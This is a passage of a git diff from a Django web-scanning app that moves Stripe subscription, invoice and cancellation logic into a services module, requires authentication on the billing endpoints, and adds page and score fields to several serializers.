& Product + if account.cust_id is None: + product = stripe.Product.create(name=product_name) + customer = stripe.Customer.create( + email=request.user.email, + name=f'{user.first_name} {user.last_name}' + ) + + # update existing Stripe Customer & Product + if account.cust_id is not None: + initial_call = False + product = stripe.Product.modify(account.product_id, name=product_name) + customer = stripe.Customer.retrieve(account.cust_id) + + # create new Stripe Price + price = stripe.Price.create( + product=product.id, + unit_amount=price_amount, + currency='usd', + recurring={'interval': interval,}, + ) + + # create new Stripe Subscription if none exists + if account.sub_id is None: + subscription = stripe.Subscription.create( + customer=customer.id, + items=[{ + 'price': price.id, + }], + payment_behavior='default_incomplete', + expand=['latest_invoice.payment_intent'], + # trial_period_days=7, + ) + + # update existing Stripe Subscription + if account.sub_id is not None: + sub = stripe.Subscription.retrieve(account.sub_id) + subscription = stripe.Subscription.modify( + sub.id, + cancel_at_period_end=False, + pause_collection='', + proration_behavior='create_prorations', + items=[{ + 'id': sub['items']['data'][0].id, + 'price': price.id, + }], + expand=['latest_invoice.payment_intent'], + ) + + # updating price defaults and archiving old price + stripe.Product.modify(product.id, default_price=price,) + stripe.Price.modify(account.price_id, active=False) + + # update `Account` with new Stripe info + create_or_update_account( + user=user.id, + id=account.id, + type = name, + cust_id = customer.id, + sub_id = subscription.id, + product_id = product.id, + price_id = price.id, + interval = interval, + max_sites = max_sites, + max_pages = max_pages, + price_amount = price_amount, + max_schedules = max_schedules, + retention_days = retention_days, + scans_allowed = scans_allowed, + tests_allowed = tests_allowed, + testcases_allowed = testcases_allowed, + meta = meta + ) + + # get client_secret from Stripe + # Subscription if Sub is new (i.e. initial_call == True) + if initial_call: + client_secret = subscription.latest_invoice.payment_intent.client_secret + + # format and return + data = { + 'subscription_id' : subscription.id, + 'client_secret' : client_secret, + } + return Response(data, status=status.HTTP_200_OK) + + + + +def stripe_complete(request: object) -> object: + """ + Confirms the Stripe Payment intent after user + enters CC details on Scanerr.client - Also updates + `Account` payment method. + + Expects: { + 'payment_method' : stripe payment method id from client (REQUIRED) + + Returns -> `Account` HTTP Response object + """ + + # init Stripe client + stripe.api_key = settings.STRIPE_PRIVATE + + # get request data + account = Account.objects.get(user=request.user) + pay_method_id = request.data['payment_method'] + + # get Stripe PaymentMethod object + pay_method = stripe.PaymentMethod.retrieve(pay_method_id) + + # create new `Card` if none exists + if Card.objects.filter(account=account).exists(): + + # attached Stripe Customer to existing + # Stripe PaymentMethod + stripe.PaymentMethod.attach( + pay_method_id, + customer=account.cust_id, + ) + + # update Stripe Customer + stripe.Customer.modify( + account.cust_id, + invoice_settings={ + 'default_payment_method': pay_method.id, + } + ) + + # update Stripe Subscription + stripe.Subscription.modify( + account.sub_id, + default_payment_method=pay_method.id + ) + + # update `Card` object + Card.objects.filter(account=account).update( + user = request.user, + account = account, + pay_method_id = pay_method.id, + brand = pay_method.card.brand, + exp_year = pay_method.card.exp_year, + exp_month = pay_method.card.exp_month, + last_four = pay_method.card.last4 + ) + + else: + # update Stripe Subscription with + # new payment method + stripe.Subscription.modify( + account.sub_id, + default_payment_method=pay_method_id + ) + + # create new `Card` object + Card.objects.create( + user = request.user, + account = account, + pay_method_id = pay_method.id, + brand = pay_method.card.brand, + exp_year = pay_method.card.exp_year, + exp_month = pay_method.card.exp_month, + last_four = pay_method.card.last4 + ) + + # update account activation + account.active = True + account.save() + + # serialize and return + serializer_context = {'request': request,} + serialized = AccountSerializer(account, context=serializer_context) + data = serialized.data + return Response(data, status=status.HTTP_200_OK) + + + + +def calc_price(account: object=None) -> int: + """ + Calculates a `price` based on `Account.max_sites` + and any `Account.meta.coupon` data. + + Expects: { + 'account': (REQUIRED) + } + + Returns: 'price_amount' + """ + + # init Stripe client + stripe.api_key = settings.STRIPE_PRIVATE + + # get max_sites + max_sites = account.max_sites + + # get account coupon + discount = 0 + if account.meta.get('coupon'): + discount = account.meta['coupon']['discount'] + + # calculate + if max_sites <= 5: + price = 8900 + elif max_sites > 5 and max_sites <= 10: + price = 17900 + elif max_sites > 10 and max_sites <= 25: + price = 34900 + elif max_sites > 25: + price = ( + ( + (-0.0003 * (max_sites ** 2)) + + (1.5142 * max_sites) + 325.2 + ) * 100 + ) + + # apply discount + price = price - (price * discount) + + # update for interval + price = round(price if account.interval == 'month' else (price * 10)) + + # return price + return int(price) + + + + +def get_stripe_hosted_url(request: object=None) -> object: + """ + Creates either a new 'Stripe Checkout Session' + (allows customer to subscribe), or a 'Stripe Customer + Portal Session' (allows customer to manage existing subscription). + Either session type with return a Stripe redirect url + + Expects: { + 'request' : (REQUIRED) + } + + Returns -> data: { + 'stripe_url': + } + """ + + # init Stripe client + stripe.api_key = settings.STRIPE_PRIVATE + + # get account + user = request.user + account = Account.objects.get(user=user) + + # set default url + stripe_url = None + + # create Product, Price, & Checkout Session + if account.cust_id is None: + + # build product + product_name = f'Enterprise' + product = stripe.Product.create(name=product_name) + + # calc price_amount + price_amount = calc_price(account=account) + + # create new Stripe Price + price = stripe.Price.create( + product=product.id, + unit_amount=price_amount, + currency='usd', + recurring={'interval': account.interval,}, + ) + + # create Checkout Session + checkout_session = stripe.checkout.Session.create( + line_items=[ + { + 'price': price.id, + 'quantity': 1, + }, + ], + mode='subscription', + success_url=f'{settings.CLIENT_URL_ROOT}/billing/update' + + '?success=true&session_id={CHECKOUT_SESSION_ID}', + cancel_url=f'{settings.CLIENT_URL_ROOT}/billing', + ) + + # setting stripe_url + stripe_url = checkout_session.url + + # create Portal Session + if account.cust_id: + portal_session = stripe.billing_portal.Session.create( + customer=account.cust_id, + return_url=f'{settings.CLIENT_URL_ROOT}/billing/update', + ) + + # setting stripe_url + stripe_url = portal_session.url + + # return response + data = {'stripe_url': stripe_url} + return Response(data, status=status.HTTP_200_OK) + + + + +def update_account_with_stripe_redirect(request: object=None) -> object: + """ + Updates `Account` with new sub data from stripe redirect + + Expects: { + 'request' : (REQUIRED) + } + + Returns -> HTTP Response object + """ + + # init Stripe client + stripe.api_key = settings.STRIPE_PRIVATE + + # get account + account = Account.objects.get(user=request.user) + cust_id = account.cust_id + sub_id = account.sub_id + + # try to get session_id + session_id = request.query_params.get('session_id') + + # if session_id - get customer, subscription + if session_id: + session = stripe.checkout.Session.retrieve( + session_id + ) + cust_id = session.customer + sub_id = session.subscription + + # get current stripe sub object + sub = stripe.Subscription.retrieve( + sub_id + ) + + # get stripe product & price info + plan = sub['items']['data'][0]['plan'] + product_id = plan['product'] + price_id = plan['id'] + price_amount = plan['amount'] + interval = plan['interval'] + + # setting Account.active + active = False if (sub['canceled_at'] or sub['pause_collection']) else True + + # get billing method info + pay_method_id = sub.default_payment_method + pay_method = stripe.PaymentMethod.retrieve( + pay_method_id + ) + + # create or update Account card + if not Card.objects.filter(account=account).exists(): + Card.objects.create( + user = request.user, + account = account, + pay_method_id = pay_method.id, + brand = pay_method.card.brand, + exp_year = pay_method.card.exp_year, + exp_month = pay_method.card.exp_month, + last_four = pay_method.card.last4 + ) + else: + Card.objects.filter(account=account).update( + user = request.user, + account = account, + pay_method_id = pay_method.id, + brand = pay_method.card.brand, + exp_year = pay_method.card.exp_year, + exp_month = pay_method.card.exp_month, + last_four = pay_method.card.last4 + ) + + # update `Account` with new Stripe info + create_or_update_account( + user = request.user.id, + id = account.id, + cust_id = cust_id, + sub_id = sub_id, + product_id = product_id, + price_id = price_id, + price_amount = price_amount, + interval = interval, + ) + + # equeting account data deletion + if not active: + cancel_subscription(account=account) + + # serialize and return + serializer_context = {'request': request,} + serialized = AccountSerializer(account, context=serializer_context) + data = serialized.data + return Response(data, status=status.HTTP_200_OK) + + + + +def get_billing_info(request: object) -> object: + """ + Gets the `Card`, `Account`, and slack info associated + with the passed "user". + + Expects: { + 'request' : (REQUIRED) + } + + Returns -> HTTP Response object + """ + + # init Stripe client + stripe.api_key = settings.STRIPE_PRIVATE + + # get user and account + user = request.user + account = Account.objects.get(user=user) + + # set default + card = None + + # get `Card` info if exists + if Card.objects.filter(user=user).exists(): + _card = Card.objects.get(user=user) + card = { + 'brand': _card.brand, + 'exp_year': _card.exp_year, + 'exp_month': _card.exp_month, + 'last_four': _card.last_four, + } + + # format billing info + data = { + 'card': card, + 'plan': { + 'name': account.type, + 'active': account.active, + 'price_amount': account.price_amount, + 'interval': account.interval, + 'max_sites': account.max_sites, + 'max_pages': account.max_pages, + 'max_schedules': account.max_schedules, + 'retention_days': account.retention_days, + 'usage': account.usage, + 'meta': account.meta, + }, + } + + # return data + return Response(data, status=status.HTTP_200_OK) + + + + +def account_activation(request: object) -> object: + """ + Pauses or Activates the `Account` and billing + for the associated Stripe Subscription. + + Expects: { + 'request' : (REQUIRED) + + Returns -> `Account` HTTP Response object + """ + + # init Stripe client + stripe.api_key = settings.STRIPE_PRIVATE + + # get user's Account + account = Account.objects.get(user=request.user) + + # setting default + active = None + + # pause billing & `Account` + if account.active == True: + stripe.Subscription.modify( + account.sub_id, + pause_collection={ + 'behavior': 'mark_uncollectible', + }, + ) + active = False + + # activate billing & `Account` + else: + stripe.Subscription.modify( + account.sub_id, + pause_collection='', + ) + active = True + + # save updates + account.active = active + account.save() + + # serialize and return + serializer_context = {'request': request,} + serialized = AccountSerializer(account, context=serializer_context) + data = serialized.data + return Response(data, status=status.HTTP_200_OK) + + + + +def cancel_subscription(request: object=None, account: object=None) -> object: + """ + Cancels the Stripe Subscription associated with the + passed "user" and reverts the `Account` to a "free" plan + + Expects: { + 'request': object (OPTIONAL) + 'account': object (OPTIONAL) + } + + Returns -> `Account` HTTP Response object or Bool `true` + """ + + # init Stripe client + stripe.api_key = settings.STRIPE_PRIVATE + + # get user's account + if request is not None: + account = Account.objects.get(user=request.user) + + # update billing if accout is active + if account.active == True: + + # canceling Stripe Subscription billing + try: + stripe.Subscription.cancel( + account.sub_id, + ) + except Exception as e: + print(e) + + # update Account plan + account.type = 'free' + account.max_sites = 1 + account.max_schedules = 1 + account.max_pages = 3 + account.retention_days = '15' + account.interval = 'month' + account.price_amount = 0 + account.cust_id = None + account.sub_id = None + account.product_id = None + account.price_id = None + account.price_amount = None + account.usage = { + 'scans': 0, + 'tests': 0, + 'testcases': 0, + 'scans_allowed': 30, + 'tests_allowed': 30, + 'testcases_allowed': 15, + } + account.meta['last_usage_reset'] = datetime.today().strftime('%Y-%m-%d %H:%M:%S.%f') + account.meta['coupon'] = {"code": "", "discount": 0} + + # save Account + account.save() + + # update user's card + card = Card.objects.get(account=account) + card.delete() + + # remove sites + sites = Site.objects.filter(account=account) + for site in sites: + delete_site(id=site.id, account=account) + + # remove issues + issues = Issue.objects.filter(account=account) + for issue in issues: + issue.delete() + + # serialize and return + if request is not None: + serializer_context = {'request': request,} + serialized = AccountSerializer(account, context=serializer_context) + data = serialized.data + return Response(data, status=status.HTTP_200_OK) + else: + return True + + + + +def get_stripe_invoices(request: object) -> object: + """ + Gets a list of Stripe Invoice objects associated with the + passed "user" `Account` + + Expects: { + 'request': object + } + + Returns -> data: { + 'has_more': true if more than 10 + 'data': of invoice objects + } + """ + + # init Stripe client + stripe.api_key = settings.STRIPE_PRIVATE + + # get user's account + account = Account.objects.get(user=request.user) + + # setting defaults + data = {"message": "no Account found"} + i_list = [] + + # check that Account has a Stripe Customer + if account.cust_id is not None: + + # retrieve Stripe Invoices + invoice_body = stripe.Invoice.list( + customer=account.cust_id, + ) + + # build list of Stripe Invice objects + for invoice in invoice_body.data: + + # setting defaults + items = [] + product_name = None + interval = None + + # create line items + for item in invoice['lines']['data']: + + # add item data + items.append({ + 'amount': item['amount'], + 'description': item['description'], + 'period_start': item['period']['start'], + 'period_end': item['period']['end'], + 'quantity': item['quantity'], + 'proration': item['proration'] + }) + + # getting product name and interval if item + # is not proration + if not item['proration']: + # get product_name + if 'basic' in item['description'].lower(): + product_name = 'Basic' + if 'pro' in item['description'].lower(): + product_name = 'Pro' + if 'plus' in item['description'].lower(): + product_name = 'Plus' + if 'custom' in item['description'].lower(): + product_name = 'Custom' + if 'enterprise' in item['description'].lower(): + product_name = 'Enterprise' + # get interval + interval = item['plan']['interval'] + + # get end_date + period_start = datetime.fromtimestamp(invoice.period_start) + new = period_start + timedelta(days=30 if interval == 'month' else 365) + period_end = int(new.timestamp()) + + i_list.append({ + 'id': invoice.id, + 'status': invoice.status, + 'subtotal': invoice.subtotal, + 'subtotal_excluding_tax': invoice.subtotal_excluding_tax, + 'price_amount': invoice.amount_paid, + 'created': invoice.created, + 'due_date': invoice.due_date, + 'customer_email': invoice.customer_email, + 'customer_name': invoice.customer_name, + 'product_name': product_name, + 'invoice_pdf': invoice.invoice_pdf, + 'number': invoice.number, + 'period_start': invoice.period_start, + 'period_end': period_end, + 'items': items + }) + + # format response + data = { + 'has_more': invoice_body.has_more, + 'data': i_list + } + + # return response + return Response(data, status=status.HTTP_200_OK) + + diff --git a/app/api/v1/billing/urls.py b/app/api/v1/billing/urls.py index c39951f6..8d558fc6 100644 --- a/app/api/v1/billing/urls.py +++ b/app/api/v1/billing/urls.py @@ -4,15 +4,16 @@ -urlpatterns = [ - path('create-customer', views.CreateCustomer.as_view(), name='create_customer'), - path('create-product', views.CreateProduct.as_view(), name='create_product'), - path('create-price', views.CreatePrice.as_view(), name='create_price'), - path('create-subscription', views.CreateSubscription.as_view(), name='create_subscription'), - path('setup-subscription', views.SetupSubscription.as_view(), name='setup_subscription'), - path('complete-subscription', views.CompleteSubscription.as_view(), name='complete_subscription'), - path('stripe-key', views.StripeKey.as_view(), name='stripe_key'), - path('get-info', views.GetBillingInfo.as_view(), name='get_billing_info'), - path('account-activation', views.AccountActivation.as_view(), name='account_activation') + +urlpatterns = [ + path('stripe/key', views.StripeKey.as_view(), name='stripe_key'), + path('invoices', views.StripeInvoice.as_view(), name='stripe_invoices'), + path('info', views.BillingInfo.as_view(), name='billing_info'), + path('subscription/setup', views.SubscriptionSetup.as_view(), name='subscription_setup'), + path('subscription/complete', views.SubscriptionComplete.as_view(), name='subscription_complete'), + path('subscription/cancel', views.SubscriptionCancel.as_view(), name='subscription_cancel'), + path('subscription/update', views.SubscriptionUpdate.as_view(), name='subscription_update'), + path('subscription/url', views.SubscriptionUrl.as_view(), name='subscription_url'), + path('account/activation', views.AccountActivation.as_view(), name='account_activation') ] diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py index 4ed57c74..2ab6f0c1 100644 --- a/app/api/v1/billing/views.py +++ b/app/api/v1/billing/views.py @@ -1,383 +1,111 @@ from rest_framework.response import Response -from rest_framework.permissions import AllowAny +from rest_framework.permissions import IsAuthenticated from rest_framework.views import APIView from rest_framework import status -from django.contrib.auth.models import User -from django.core import serializers -from django.forms.models import model_to_dict -from ...models import Account, Card -from ..auth.services import create_or_update_account -from datetime import timedelta, datetime -from scanerr import settings -import os, stripe, json +from .services import * +from scanerr import settings + + class StripeKey(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post',] - def post(self, request): - key = settings.STRIPE_PUBLIC - data = {'key': key,} + def post(self, request): + data = {'key': settings.STRIPE_PUBLIC,} return Response(data, status=status.HTTP_200_OK) -class CreateCustomer(APIView): - permission_classes = (AllowAny,) +class SubscriptionSetup(APIView): + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): - stripe.api_key = settings.STRIPE_PRIVATE - customer = stripe.Customer.create(email=request.user.email) - - account = Account.objects.create( - user=request.user, - cust_id=customer.id - ) + response = stripe_setup(request) + return response - data = customer.__dict__ - - return Response(data, status=status.HTTP_200_OK) -class CreateProduct(APIView): - permission_classes = (AllowAny,) +class SubscriptionComplete(APIView): + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): - name = request.data['name'] - stripe.api_key = settings.STRIPE_PRIVATE - product = stripe.Product.create(name=name) - - account = Account.objects.get(user=request.user) - account.product_id = product.id - account.save() - - data = product.__dict__ - - return Response(data, status=status.HTTP_200_OK) + response = stripe_complete(request) + return response -class CreatePrice(APIView): - permission_classes = (AllowAny,) - http_method_names = ['post',] - def post(self, request): - account = Account.objects.get(user=request.user) - price_amount = float(request.data['price_amount']) - stripe.api_key = settings.STRIPE_PRIVATE - price = stripe.Price.create( - product=account.product_id, - unit_amount=price_amount, - currency='usd', - recurring={ - 'interval': 'month', - 'trial_period_days': 7, - }, - ) - - account.price_id = price.id - account.save() - - data = price.__dict__ - - return Response(data, status=status.HTTP_200_OK) - - - -class CreateSubscription(APIView): - permission_classes = (AllowAny,) - http_method_names = ['post',] - - def post(self, request): - stripe.api_key = settings.STRIPE_PRIVATE - account = Account.objects.get(user=request.user) - subscription = stripe.Subscription.create( - customer=account.cust_id, - items=[{ - 'price': account.price_id, - }], - payment_behavior='default_incomplete', - expand=['latest_invoice.payment_intent'], - ) - - account.sub_id = subscription.id - account.save() - data = { - 'subscription_id' : subscription.id, - 'client_secret' : subscription.latest_invoice.payment_intent.client_secret - } - - return Response(data, status=status.HTTP_200_OK) +class SubscriptionUrl(APIView): + permission_classes = (IsAuthenticated,) + https_method_names = ['get',] + def get(self, request): + response = get_stripe_hosted_url(request) + return response -class CompleteSubscription(APIView): - permission_classes = (AllowAny,) - http_method_names = ['post',] - def post(self, request): - stripe.api_key = settings.STRIPE_PRIVATE - account = Account.objects.get(user=request.user) - pay_method_id = request.data['payment_method'] - if Card.objects.filter(account=account).exists(): - pay_method = stripe.PaymentMethod.retrieve(pay_method_id) - - stripe.PaymentMethod.attach( - pay_method_id, - customer=account.cust_id, - ) - - stripe.Customer.modify( - account.cust_id, - invoice_settings={ - 'default_payment_method': pay_method.id, - } - ) - - stripe.Subscription.modify( - account.sub_id, - default_payment_method=pay_method.id - ) - - Card.objects.filter(account=account).update( - user = request.user, - account = account, - pay_method_id = pay_method.id, - brand = pay_method.card.brand, - exp_year = pay_method.card.exp_year, - exp_month = pay_method.card.exp_month, - last_four = pay_method.card.last4 - ) - - else: - pay_method = stripe.PaymentMethod.retrieve(pay_method_id) - - stripe.Subscription.modify( - account.sub_id, - default_payment_method=pay_method.id - ) - - Card.objects.create( - user = request.user, - account = account, - pay_method_id = pay_method.id, - brand = pay_method.card.brand, - exp_year = pay_method.card.exp_year, - exp_month = pay_method.card.exp_month, - last_four = pay_method.card.last4 - - ) - - card = Card.objects.get(account=account) - account.active = True - account.save() - - data = { - 'card': { - 'brand': card.brand, - 'exp_year': card.exp_year, - 'exp_month': card.exp_month, - 'last_four': card.last_four, - }, - 'plan': { - 'name': account.type, - 'active': account.active, - 'slack': { - 'slack_name': account.slack['slack_name'], - 'bot_user_id': account.slack['bot_user_id'], - 'slack_team_id': account.slack['slack_team_id'], - 'bot_access_token': account.slack['bot_access_token'], - 'slack_channel_id': account.slack['slack_channel_id'], - 'slack_channel_name': account.slack['slack_channel_name'], - } - }, - } +class SubscriptionUpdate(APIView): + permission_classes = (IsAuthenticated,) + https_method_names = ['get',] + def get(self, request): + response = update_account_with_stripe_redirect(request) + return response - return Response(data, status=status.HTTP_200_OK) -class SetupSubscription(APIView): - permission_classes = (AllowAny,) +class BillingInfo(APIView): + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): - stripe.api_key = settings.STRIPE_PRIVATE - user = request.user - name = request.data.get('name') - product_name = str(user.email + '_' + str(user.id) + '_' + name) - price_amount = int(request.data.get('price_amount')) - max_sites = int(request.data.get('max_sites')) - - if not Account.objects.filter(user=user).exists(): - create_or_update_account( - user=user, - type=name, - max_sites=max_sites, - ) - - account = Account.objects.get(user=user) - - if account.cust_id is None: - product = stripe.Product.create(name=product_name) - customer = stripe.Customer.create(email=request.user.email) - - if account.cust_id is not None: - product = stripe.Product.modify(account.product_id, name=product_name) - customer = stripe.Customer.retrieve(account.cust_id) - - price = stripe.Price.create( - product=product.id, - unit_amount=price_amount, - currency='usd', - recurring={'interval': 'month',}, - ) - - if account.sub_id is None: - subscription = stripe.Subscription.create( - customer=customer.id, - items=[{ - 'price': price.id, - }], - payment_behavior='default_incomplete', - expand=['latest_invoice.payment_intent'], - # trial_period_days=7, - ) - - if account.sub_id is not None: - sub = stripe.Subscription.retrieve(account.sub_id) - subscription = stripe.Subscription.modify( - sub.id, - cancel_at_period_end=False, - proration_behavior='create_prorations', - items=[{ - 'id': sub['items']['data'][0].id, - 'price': price.id, - }], - expand=['latest_invoice.payment_intent'], - ) - - # updating price defaults and archiving old price - stripe.Product.modify(product.id, default_price=price,) - stripe.Price.modify(account.price_id, active=False) + response = get_billing_info(request) + return response - Account.objects.filter(user=user).update( - type = name, - cust_id = customer.id, - sub_id = subscription.id, - product_id = product.id, - price_id = price.id, - max_sites = max_sites, - ) - data = { - 'subscription_id' : subscription.id, - 'client_secret' : subscription.latest_invoice.payment_intent.client_secret, - } +class AccountActivation(APIView): + permission_classes = (IsAuthenticated,) + https_method_names = ['post',] - return Response(data, status=status.HTTP_200_OK) + def post(self, request): + response = account_activation(request) + return response + +class SubscriptionCancel(APIView): + permission_classes = (IsAuthenticated,) + https_method_names = ['post',] -class GetBillingInfo(APIView): - permission_classes = (AllowAny,) - http_method_names = ['post',] + def post(self, request): + response = cancel_subscription(request) + return response + - def post(self, request): - user = request.user - if Account.objects.filter(user=user).exists(): - card = Card.objects.get(user=user) - account = Account.objects.get(user=user) - - data = { - 'card': { - 'brand': card.brand, - 'exp_year': card.exp_year, - 'exp_month': card.exp_month, - 'last_four': card.last_four, - }, - 'plan': { - 'name': account.type, - 'active': account.active, - 'slack': { - 'slack_name': account.slack['slack_name'], - 'bot_user_id': account.slack['bot_user_id'], - 'slack_team_id': account.slack['slack_team_id'], - 'bot_access_token': account.slack['bot_access_token'], - 'slack_channel_id': account.slack['slack_channel_id'], - 'slack_channel_name': account.slack['slack_channel_name'], - } - }, - } - - return Response(data, status=status.HTTP_200_OK) - - else: - return Response(status=status.HTTP_404_NOT_FOUND) +class StripeInvoice(APIView): + permission_classes = (IsAuthenticated,) + https_method_names = ['get',] + def get(self, request): + response = get_stripe_invoices(request) + return response -class AccountActivation(APIView): - permission_classes = (AllowAny,) - https_method_names = ['post',] - def post(self, request): - account = Account.objects.get(user=request.user) - stripe.api_key = settings.STRIPE_PRIVATE - - if account.active == True: - stripe.Subscription.modify( - account.sub_id, - pause_collection={ - 'behavior': 'mark_uncollectible', - }, - ) - account.active = False - account.save() - else: - stripe.Subscription.modify( - account.sub_id, - pause_collection='', - ) - account.active = True - account.save() - - card = Card.objects.get(account=account) - - data = { - 'card': { - 'brand': card.brand, - 'exp_year': card.exp_year, - 'exp_month': card.exp_month, - 'last_four': card.last_four, - }, - 'plan': { - 'name': account.type, - 'active': account.active, - 'slack': { - 'slack_name': account.slack['slack_name'], - 'bot_user_id': account.slack['bot_user_id'], - 'slack_team_id': account.slack['slack_team_id'], - 'bot_access_token': account.slack['bot_access_token'], - 'slack_channel_id': account.slack['slack_channel_id'], - 'slack_channel_name': account.slack['slack_channel_name'], - }, - }, - } - return Response(data, status=status.HTTP_200_OK) - \ No newline at end of file diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index a74996b7..92c27d34 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -2,6 +2,11 @@ from rest_framework import serializers from rest_framework.fields import UUIDField + + + + + kwargs = { 'allow_null': False, 'read_only': True, @@ -10,6 +15,7 @@ + class LogSerializer(serializers.HyperlinkedModelSerializer): user = serializers.ReadOnlyField(source='user.username') id = serializers.PrimaryKeyRelatedField(**kwargs) @@ -22,6 +28,7 @@ class Meta: + class ProcessSerializer(serializers.HyperlinkedModelSerializer): id = serializers.PrimaryKeyRelatedField(**kwargs) site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs) @@ -29,11 +36,12 @@ class ProcessSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Process fields = ['id', 'site', 'type', 'time_created', 'time_completed', - 'successful', 'info_url', 'progress', + 'success', 'info_url', 'progress', 'info', 'exception', 'object_id' ] + class SiteSerializer(serializers.HyperlinkedModelSerializer): user = serializers.ReadOnlyField(source='user.username') id = serializers.PrimaryKeyRelatedField(**kwargs) @@ -42,25 +50,46 @@ class SiteSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Site fields = ['id', 'user', 'site_url', 'time_created', 'info', + 'tags', 'account', 'time_crawl_started', 'time_crawl_completed', + ] + + + + +class PageSerializer(serializers.HyperlinkedModelSerializer): + user = serializers.ReadOnlyField(source='user.username') + id = serializers.PrimaryKeyRelatedField(**kwargs) + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) + + class Meta: + model = Page + fields = ['id', 'user', 'site', 'page_url', 'time_created', 'info', 'tags', 'account', ] + + class ScanSerializer(serializers.HyperlinkedModelSerializer): site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs) + page = serializers.PrimaryKeyRelatedField(source='page.id',**kwargs) paired_scan = serializers.PrimaryKeyRelatedField(source='paired_scan.id',**kwargs) id = serializers.PrimaryKeyRelatedField(**kwargs) class Meta: model = Scan - fields = ['id', 'site', 'paired_scan', 'time_created', + fields = ['id', 'site', 'page', 'paired_scan', 'time_created', 'time_completed', 'html', 'logs', 'lighthouse', 'yellowlab', - 'images', 'configs', 'tags', 'type', + 'images', 'configs', 'tags', 'type', 'score', ] + + class SmallScanSerializer(serializers.HyperlinkedModelSerializer): site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs) + page = serializers.PrimaryKeyRelatedField(source='page.id',**kwargs) paired_scan = serializers.PrimaryKeyRelatedField(source='paired_scan.id',**kwargs) lighthouse = serializers.SerializerMethodField() yellowlab = serializers.SerializerMethodField() @@ -74,42 +103,49 @@ def get_yellowlab(self, obj): class Meta: model = Scan - fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', - 'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags', + fields = ['id', 'site', 'page', 'paired_scan', 'time_created', 'logs', + 'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags', 'score', ] + + class TestSerializer(serializers.HyperlinkedModelSerializer): - site = serializers.PrimaryKeyRelatedField(**kwargs) - pre_scan = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) + page = serializers.PrimaryKeyRelatedField(source='page.id', **kwargs) + pre_scan = serializers.PrimaryKeyRelatedField(source='pre_scan.id', **kwargs) post_scan = serializers.PrimaryKeyRelatedField(source='post_scan.id',**kwargs) id = serializers.PrimaryKeyRelatedField(**kwargs) class Meta: model = Test - fields = ['id', 'site', 'time_created', 'time_completed', + fields = ['id', 'site', 'page', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta', - 'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type', - 'tags', 'pre_scan_configs', 'post_scan_configs', 'component_scores', + 'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type', 'threshold', + 'tags', 'pre_scan_configs', 'post_scan_configs', 'component_scores', 'status', ] + + class SmallTestSerializer(serializers.HyperlinkedModelSerializer): - site = serializers.PrimaryKeyRelatedField(**kwargs) - pre_scan = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) + page = serializers.PrimaryKeyRelatedField(source='page.id', **kwargs) + pre_scan = serializers.PrimaryKeyRelatedField(source='pre_scan.id', **kwargs) post_scan = serializers.PrimaryKeyRelatedField(source='post_scan.id',**kwargs) id = serializers.PrimaryKeyRelatedField(**kwargs) class Meta: model = Test - fields = ['id', 'site', 'time_created', 'time_completed', + fields = ['id', 'site', 'page', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'lighthouse_delta', - 'yellowlab_delta', 'tags', 'component_scores', + 'yellowlab_delta', 'tags', 'component_scores', 'threshold', 'status', ] + + class ScheduleSerializer(serializers.HyperlinkedModelSerializer): - site = serializers.PrimaryKeyRelatedField(**kwargs) user = serializers.ReadOnlyField(source='user.username') id = serializers.PrimaryKeyRelatedField(**kwargs) automation = serializers.PrimaryKeyRelatedField(**kwargs) @@ -117,13 +153,15 @@ class ScheduleSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Schedule - fields = ['id', 'site', 'time_created', 'user', 'task_type', + fields = ['id', 'time_created', 'user', 'task_type', 'timezone', 'begin_date', 'time', 'frequency', 'task', 'crontab_id', - 'periodic_task_id', 'status', 'automation', 'extras', 'account', + 'periodic_task_id', 'status', 'automation', 'extras', 'account', + 'scope', 'resources', 'time_last_run', ] + class AutomationSerializer(serializers.HyperlinkedModelSerializer): id = serializers.PrimaryKeyRelatedField(**kwargs) schedule = serializers.PrimaryKeyRelatedField(**kwargs) @@ -141,13 +179,14 @@ class Meta: class ReportSerializer(serializers.HyperlinkedModelSerializer): id = serializers.PrimaryKeyRelatedField(**kwargs) + page = serializers.PrimaryKeyRelatedField(source='page.id', **kwargs) site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) user = serializers.ReadOnlyField(source='user.username') account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) class Meta: model = Report - fields = ['id', 'site', 'user', 'time_created', 'type', + fields = ['id', 'site', 'page', 'user', 'time_created', 'type', 'path', 'info', 'account', ] @@ -158,15 +197,18 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer): id = serializers.PrimaryKeyRelatedField(**kwargs) user = serializers.ReadOnlyField(source='user.username') account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) class Meta: model = Case fields = ['id', 'name', 'user', 'steps', 'time_created', - 'tags', 'account', + 'tags', 'account', 'site', 'type', 'site_url', + 'processed' ] + class TestcaseSerializer(serializers.HyperlinkedModelSerializer): id = serializers.PrimaryKeyRelatedField(**kwargs) site = 